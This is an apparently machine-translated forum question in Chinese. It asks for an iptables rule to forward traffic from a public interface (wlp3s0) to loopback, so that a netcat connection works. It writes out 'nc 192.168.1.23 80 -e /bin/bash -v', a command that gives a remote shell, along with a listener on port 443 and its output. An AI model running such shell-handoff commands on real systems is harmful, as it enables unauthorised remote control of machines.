您知道如何向我的机器提供 iptables 规则,以允许从我的公共接口 (wlp3s0) 到我的私有接口 (lo) 的流量。有点像这样的拓扑:192.168.1.1:80 => 127.0.0.1:80
我需要得到这个,因为我正在尝试使用 netcat 连接我的网络服务器,使用以下命令: nc 192.168.1.23 80-e /bin/bash -v 并且与服务器连接没有问题,因为计算机返回我:nc:已连接到 192.168.1.23 80。没问题,但问题是当我使用 nc -lvpn 443 启动侦听器时。保持侦听状态但未连接:
Ncat:版本 7.80 (https://nmap.org/ncat) Ncat: 监听 :::443 Ncat: 监听 0.0.0.0:443
现在,当我检查流程时,我意识到了这一点:
TCP gr10-thinkpad-edge-e430:36410->gr21:https
netcat 使用我的公共接口与服务器建立 tcp 连接,但是当我监听时仅在私有(127.0.0.1)中而不是在所有接口中进行。因此 netcat 无法将数据从我的公共接口传输到我的私有接口:
ncat 33827 root 4u IPv4 486476 0t0 TCP *:https(监听)
所以我的问题是:根据之前的情况,允许我的 nat 传输流量从我的公共接口到我的私有接口的最佳 iptable 规则是什么?类型:公共 ip:80 => 私有 ip:80?最好的解决方案是什么?